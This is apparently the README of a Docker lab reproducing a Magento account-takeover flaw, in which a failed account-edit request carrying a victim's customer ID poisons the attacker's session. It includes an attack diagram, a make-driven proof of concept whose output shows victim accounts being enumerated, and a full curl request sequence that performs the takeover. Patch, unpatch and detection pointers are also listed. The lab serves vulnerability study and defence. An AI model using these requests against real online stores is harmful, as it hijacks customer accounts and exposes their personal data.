attacker registers ──► POST /customer/account/editPost  (change_email=1,
   (own account)        current_password=wrong, id=<VICTIM>)  ─► exception ─►
                        session.customer_form_data = {... id: <VICTIM> ...}
                              │
                              ▼
                        GET /customer/account/edit
                        populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
                        setCustomerData() ─► setCustomerId(VICTIM)
                              │
                              ▼
   attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
   order history, address book, section/load) ─► account takeover.

git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab

make up          # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait        # blocks until the storefront returns HTTP 200
make exploit     # runs the PoC

[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
      customer_id=1   -> VICTIM… Target  <victim…@lab.test>
...
  >>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
      every enumerated account's PII with only self-registration.

make patch      # apply Adobe's official APSB26-92 Edit.php fix
make exploit    #   -> NOT exploited (session identity unchanged)

make unpatch    # restore the vulnerable file
make exploit    #   -> ACCOUNT TAKEOVER again

# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'

# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
  --data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
  --data-urlencode lastname=Attacker --data-urlencode [email protected] \
  --data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'

# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
  --data-urlencode form_key=<FK2> --data-urlencode id=1 \
  --data-urlencode change_email=1 --data-urlencode current_password=wrong \
  --data-urlencode [email protected]

# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'

docker-compose.yml   nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh    first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py       the PoC + PII-enumeration oracle
scripts/patch.sh     apply Adobe's official fix        scripts/unpatch.sh  restore vulnerable
patch/               official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md    code-level walkthrough            docs/DETECTION.md   WAF + forensics